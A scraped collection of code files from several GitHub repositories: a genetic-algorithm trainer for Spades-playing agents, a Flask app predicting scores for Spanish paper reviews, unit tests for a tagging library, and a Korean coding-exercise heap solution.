0, 0, 0, 0, 0, 0, 0, 0, 0, 0]]) # force 3 bid every time\n\n if play_weights is not None:\n self.play_weights = play_weights\n elif play_weights_file is not None:\n self.play_weights = np.load(play_weights_file)\n if self.play_weights.shape != (1, Card.CARD_LEN):\n raise AttributeError(f\"play weights file must encode a (1, {Card.CARD_LEN}) array\")\n else:\n self.play_weights = self.rng.random((1, Card.CARD_LEN))\n\n # make sure no weights are zero, or infinite loops could happen when using argmax\n for i in np.where(self.bid_weights[0] == 0)[0]:\n self.bid_weights[0, i] = np.nextafter(0, 1)\n for i in np.where(self.play_weights[0] == 0)[0]:\n self.play_weights[0, i] = np.nextafter(0, 1)\n \n # disable NIL bid\n self.bid_weights[0, 0] = 0\n \n\n def get_bid(self, bid_state):\n \"\"\"\n Chooses the largest weight preference\n \"\"\"\n bid_num = np.argmax(self.bid_weights)\n\n return Bid(bid_num)\n\n def get_play(self, turn_index, bids, scores, previous_play, turn_cards, starting_index, spades_broken):\n \"\"\"\n Returns the card to play as a (1, 52) one-hot vector where the index represents the card\n and removes the card from the player's hand\n \"\"\"\n first_card = get_first_card(turn_cards, turn_index, starting_index)\n\n choice_weights = self.play_weights.copy()\n max_index = np.argmax(choice_weights)\n play_card = Spades.CARD_BANK[max_index]\n # select the highest probability card that is a valid play\n while not play_card.is_valid_play(self.hand, spades_broken, first_card, check_hand=True):\n choice_weights[0, max_index] = 0\n max_index = np.argmax(choice_weights)\n play_card = Spades.CARD_BANK[max_index]\n\n return self.hand.play_card(play_card)\n\n\n @classmethod\n def train(cls, population_size: int = 64, select_number: int = 8, games_per_gen: int = 100, num_generations: int = 1000, num_validation_games: int = 100,\n mutate_threshold: float = 0.1, perturb_mult: float = 0.1, max_rounds: int = 25, output_folder: str = 'output', core_count: int = 4):\n \"\"\"\n One generation per game; only the winners continue to the next generation\n \"\"\"\n if not os.path.exists(output_folder):\n os.makedirs(output_folder)\n \n config = dict(\n agent_class=str(cls),\n population_size=population_size,\n select_number=select_number,\n games_per_gen=games_per_gen,\n num_generations=num_generations,\n num_validation_games=num_validation_games,\n mutate_threshold=mutate_threshold,\n perturb_mult=perturb_mult,\n max_rounds=max_rounds,\n output_folder=output_folder,\n core_count=core_count,\n )\n with open(f'{output_folder}/config.json', 'w') as f:\n ujson.dump(config, f, indent=4)\n\n rng = np.random.default_rng()\n\n if population_size % 4 != 0:\n raise AttributeError(\"population size must be a multiple of 4\")\n if population_size < select_number * 2:\n raise AttributeError(\"select number must be < 1/2 of population size\")\n\n # initialize the first population of agents\n agents = list()\n for _ in range(population_size):\n agents.append(cls())\n\n for gen_num in range(num_generations):\n logger.info(f'Starting generation', generation=gen_num)\n for round_num in range(games_per_gen):\n logger.info('Starting self-play round', round_num=round_num)\n rng.shuffle(agents)\n mp_queue = multiprocessing.Queue()\n compiled_results = queue.Queue()\n jobs = []\n for game_num in range(population_size // 4):\n agent_offset = game_num * 4\n players = agents[agent_offset:agent_offset + 4]\n #! Uncomment below and comment process stuff to disable multiprocessing\n # spades_game = Spades(players, max_rounds=20)\n # result = spades_game.game()\n # result['pid'] = agent_offset\n # compiled_results.put(result)\n process = multiprocessing.Process(target=multiprocess_spades_game, args=(mp_queue, agent_offset, players), kwargs=dict(max_rounds=max_rounds))\n jobs.append(process)\n process.start()\n\n # wait for core_count processes at a time since only that many can run simultaneously\n if len(jobs) == core_count or len(jobs) == population_size // 4:\n [compiled_results.put(mp_queue.get()) for process in jobs]\n for process in jobs:\n process.join()\n logger.debug('process terminated', exitcode=process.exitcode)\n jobs.clear()\n\n while not compiled_results.empty():\n results = compiled_results.get()\n agent_offset = results.get('pid')\n if results.get('winning_players') is not None:\n for index in results.get('winning_players'):\n agents[agent_offset + index].win_count += 1\n\n winning_agents = sorted(agents, key=lambda x: x.win_count, reverse=True)[:select_number] # choose the best ones to keep and repopulate\n agents = winning_agents.copy()\n logger.info('Top 4 win rates:')\n for i, each_agent in enumerate(winning_agents[:4]):\n logger.info(f'\\tAgent #{i+1}', win_rate=each_agent.win_count / games_per_gen)\n\n if gen_num % 20 == 0:\n most_wins = winning_agents[0].win_count\n best_agent = winning_agents[0]\n for agent in winning_agents:\n if agent.win_count > most_wins:\n most_wins = agent.win_count\n best_agent = agent\n with open(f'{output_folder}/stats_checkpoint_{gen_num}.txt', 'w+') as f:\n f.write(f'WIN_RATE: {best_agent.win_count} / {num_validation_games}')\n with open(f'{output_folder}/bid_weights_checkpoint_{gen_num}', 'wb') as f:\n np.save(f, best_agent.bid_weights)\n with open(f'{output_folder}/play_weights_checkpoint_{gen_num}', 'wb') as f:\n np.save(f, best_agent.play_weights)\n\n # perturb winner weights to repopulate\n index = 0\n while len(agents) < population_size:\n if rng.random() < mutate_threshold:\n new_bid_weights = rng.random((1, Bid.BID_LEN))\n new_play_weights = rng.random((1, Card.CARD_LEN))\n else:\n new_bid_weights = perturb_mult * (rng.random((1, Bid.BID_LEN)) - 0.5) + winning_agents[index].bid_weights\n new_play_weights = perturb_mult * (rng.random((1, Card.CARD_LEN)) - 0.5) + winning_agents[index].play_weights\n # normalize values to [0, 1]\n bid_min = np.min(new_bid_weights)\n bid_max = np.max(new_bid_weights)\n new_bid_weights = (new_bid_weights - bid_min) / (bid_max - bid_min)\n play_min = np.min(new_play_weights)\n play_max = np.max(new_play_weights)\n new_play_weights = (new_play_weights - play_min) / (play_max - play_min)\n\n #! switch the below two lines to toggle bid weight optimization\n agents.append(cls(play_weights=new_play_weights))\n # agents.append(cls(bid_weights=new_bid_weights, play_weights=new_play_weights))\n winning_agents[index].win_count = 0 # reset while we're going through the winning agents anyway\n index = (index + 1) % len(winning_agents)\n\n winning_agents.clear()\n\n # after final evolution, run a number of games and output the weights with the highest win rate\n for gen_num in range(num_validation_games):\n print(f'Validation game {gen_num}')\n rng.shuffle(agents)\n mp_queue = multiprocessing.Queue()\n jobs = []\n for game_num in range(population_size // 4):\n agent_offset = game_num * 4\n players = agents[agent_offset:agent_offset + 4]\n #! Uncomment below and comment process stuff to disable multiprocessing\n # spades_game = Spades(players, max_rounds=20)\n # result = spades_game.game()\n # result['pid'] = agent_offset\n # queue.put(result)\n process = multiprocessing.Process(target=multiprocess_spades_game, args=(mp_queue, agent_offset, players), kwargs=dict(max_rounds=max_rounds))\n process.start()\n jobs.append(process)\n\n # wait for core_count processes at a time since only that many can run simultaneously\n if len(jobs) == core_count or len(jobs) == population_size // 4 - 1:\n for process in jobs:\n process.join()\n jobs.clear()\n\n while not mp_queue.empty():\n results = mp_queue.get()\n agent_offset = results.get('pid')\n if results.get('winning_players') is not None:\n for index in results.get('winning_players'):\n agents[agent_offset + index].win_count += 1\n\n most_wins = agents[0].win_count\n best_agent = agents[0]\n for agent in agents:\n if agent.win_count > most_wins:\n most_wins = agent.win_count\n best_agent = agent\n\n print(f'Best agent had a win rate of {best_agent.win_count}/{num_validation_games}')\n\n with open(f'{output_folder}/stats.txt', 'w+') as f:\n f.write(f'WIN_RATE: {best_agent.win_count} / {num_validation_games}')\n with open(f'{output_folder}/bid_weights_final', 'wb') as f:\n np.save(f, best_agent.bid_weights)\n with open(f'{output_folder}/play_weights_final', 'wb') as f:\n np.save(f, best_agent.play_weights)\n","repo_name":"kavelrao/spades-ai","sub_path":"ai_agents/genetic.py","file_name":"genetic.py","file_ext":"py","file_size_in_byte":11987,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"70988172253","text":"\"\"\"\napp.py\n\nMain program for Spanish Paper Reviews Flask app.\n\nShow predicted evaluation scores for Spanish-language paper reviews entered\ninto the text area by the user.\"\"\"\n\nimport pickle\n\nimport pandas as pd\nfrom flask import Flask, jsonify, render_template, request\n\napp = Flask(__name__)\n\nMODEL_PATH = \"model/bag_of_words_lr.pickle\"\nbag_of_words_lr = pickle.load(open(MODEL_PATH, 'rb'))\n\n\n# ====================\ndef get_recommended_score(raw_score: float) -> str:\n \"\"\"Return the closest valid evaluation score to the raw model\n prediction to get the recommended evluation score\n\n Valid evaluation scores are integers between -2 and 2\"\"\"\n\n valid_scores = list(range(-2, 3))\n distances = [abs(raw_score - v) for v in valid_scores]\n return valid_scores[distances.index(min(distances))]\n\n\n# ====================\n@app.route('/')\ndef index():\n \"\"\"Render index.html on app launch\"\"\"\n\n return render_template('index.html')\n\n\n# ====================\n@app.route('/get_features', methods=['POST'])\ndef get_features():\n \"\"\"Return lists of model features (words) with names of color classes\n used to configure text area highlighting.\"\"\"\n\n classes_and_features = {}\n feature_df = pd.read_csv('model/features.csv')\n # Positive features (green highlight)\n for i in range(1, 5):\n these_features = feature_df.loc[(feature_df['Coefficient'] > (i-1)/10)\n & (feature_df['Coefficient'] < i/10)]\n features = these_features['Feature'].tolist()\n class_name = f'green{i}'\n if features:\n classes_and_features[class_name] = features\n # Negative features (red highlight)\n for i in range(1, 9):\n these_features = feature_df.loc[(feature_df['Coefficient'] < -(i-1)/10)\n & (feature_df['Coefficient'] > -i/10)]\n features = these_features['Feature'].tolist()\n class_name = f'red{i}'\n if features:\n classes_and_features[class_name] = features\n\n return jsonify(classes_and_features)\n\n\n# ====================\n@app.route('/get_scores', methods=['POST'])\ndef get_proba():\n \"\"\"Return raw and recommended model score in response to\n request containing text input by the user\"\"\"\n\n input_text = request.data\n input_text = input_text.decode('utf-8')\n raw_score = bag_of_words_lr.predict([str(input_text)])[0]\n return jsonify({\n 'raw_score': f'{raw_score:.2f}',\n 'recommended_score': get_recommended_score(raw_score)\n })\n\n\n# ====================\nif __name__ == \"__main__\":\n\n app.run(debug=True)\n","repo_name":"ljdyer/spanish-paper-reviews","sub_path":"public/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2598,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"41456152899","text":"import unittest\n\nimport synapse.cortex as s_cortex\nimport synapse.lib.tags as s_tags\n\nfrom synapse.tests.common import *\n\nclass TagTest(SynTest):\n\n def test_aspect_iter_up(self):\n tags = tuple(s_tags.iterTagUp('foo.bar.baz'))\n self.eq(tags, ('foo.bar.baz', 'foo.bar', 'foo'))\n\n def test_aspect_iter_down(self):\n tags = tuple(s_tags.iterTagDown('foo.bar.baz'))\n self.eq(tags, ('foo', 'foo.bar', 'foo.bar.baz'))\n\n def test_aspect_adddel(self):\n\n with self.getRamCore() as core:\n tufo = core.formTufoByProp('strform', 'bar')\n tufo = core.addTufoTag(tufo, 'baz.faz.gaz')\n\n self.nn(tufo[1].get('#baz'))\n self.nn(tufo[1].get('#baz.faz'))\n self.nn(tufo[1].get('#baz.faz.gaz'))\n\n tufos = core.getTufosByTag('baz.faz', form='strform')\n\n self.eq(len(tufos), 1)\n\n tufo = core.delTufoTag(tufo, 'baz.faz')\n\n tufos = core.getTufosByTag('baz.faz', form='strform')\n self.eq(len(tufos), 0)\n\n tufos = core.getTufosByTag('baz.faz.gaz', form='strform')\n self.eq(len(tufos), 0)\n\n def test_aspect_bytag(self):\n bytag = s_tags.ByTag()\n\n bytag.put('foo0', ('foos.foo0', 'bar.baz'))\n bytag.put('foo1', ('foos.foo1', 'bar.faz'))\n\n vals = tuple(sorted(bytag.get('bar')))\n self.eq(vals, ('foo0', 'foo1'))\n\n vals = tuple(sorted(bytag.get('foos')))\n self.eq(vals, ('foo0', 'foo1'))\n\n vals = tuple(sorted(bytag.get('foos.foo0')))\n self.eq(vals, ('foo0',))\n\n vals = tuple(sorted(bytag.get('newp.foo0')))\n self.eq(vals, ())\n\n bytag.pop('foo0')\n\n vals = tuple(sorted(bytag.get('foos')))\n self.eq(vals, ('foo1',))\n\n def test_tags_subs(self):\n tufo = ('lolz', {'tufo:form': 'woot'})\n self.false(s_tags.getTufoSubs(tufo, 'mytag'))\n\n tufo = ('lolz', {'tufo:form': 'woot', '#mytag': 1})\n self.true(s_tags.getTufoSubs(tufo, 'mytag'))\n","repo_name":"larrycameron80/synapse","sub_path":"synapse/tests/test_lib_tags.py","file_name":"test_lib_tags.py","file_ext":"py","file_size_in_byte":2002,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"32"} +{"seq_id":"40499548634","text":"import heapq\n\ndef solution(jobs):\n '''\n 각 작업에 대해 [작업이 요청되는 시점, 작업의 소요시간]을 담은 2차원 배열 jobs가 매개변수로 주어질 때, \n 작업의 요청부터 종료까지 걸린 시간의 평균을 가장 줄이는 방법으로 처리하면 평균이 얼마가 되는지 \n return 하도록 solution 함수를 작성해주세요. (단, 소수점 이하의 수는 버립니다)\n '''\n \n \n working_list = [[w_t, r_t] for r_t, w_t in jobs] # swap positions // ref) r_t(request_time), w_t(working_time)\n \n first = working_list[0]\n working_list = working_list[1:]\n \n heapq.heapify(working_list)\n \n cum_w_t = first[0] # cumulative working time\n cum_idle_t = 0\n\n for w_t, r_t in working_list: # calculate cum_w_t and cum_idle_t\n idle = cum_w_t - r_t\n cum_w_t += w_t\n cum_idle_t += idle\n\n answer = int((cum_w_t + cum_idle_t) / (len(working_list) + 1))\n \n return answer\n","repo_name":"yds-sup-off-02/cote-mid","sub_path":"Programmers/Heap/02/kyounghoon.py","file_name":"kyounghoon.py","file_ext":"py","file_size_in_byte":986,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"}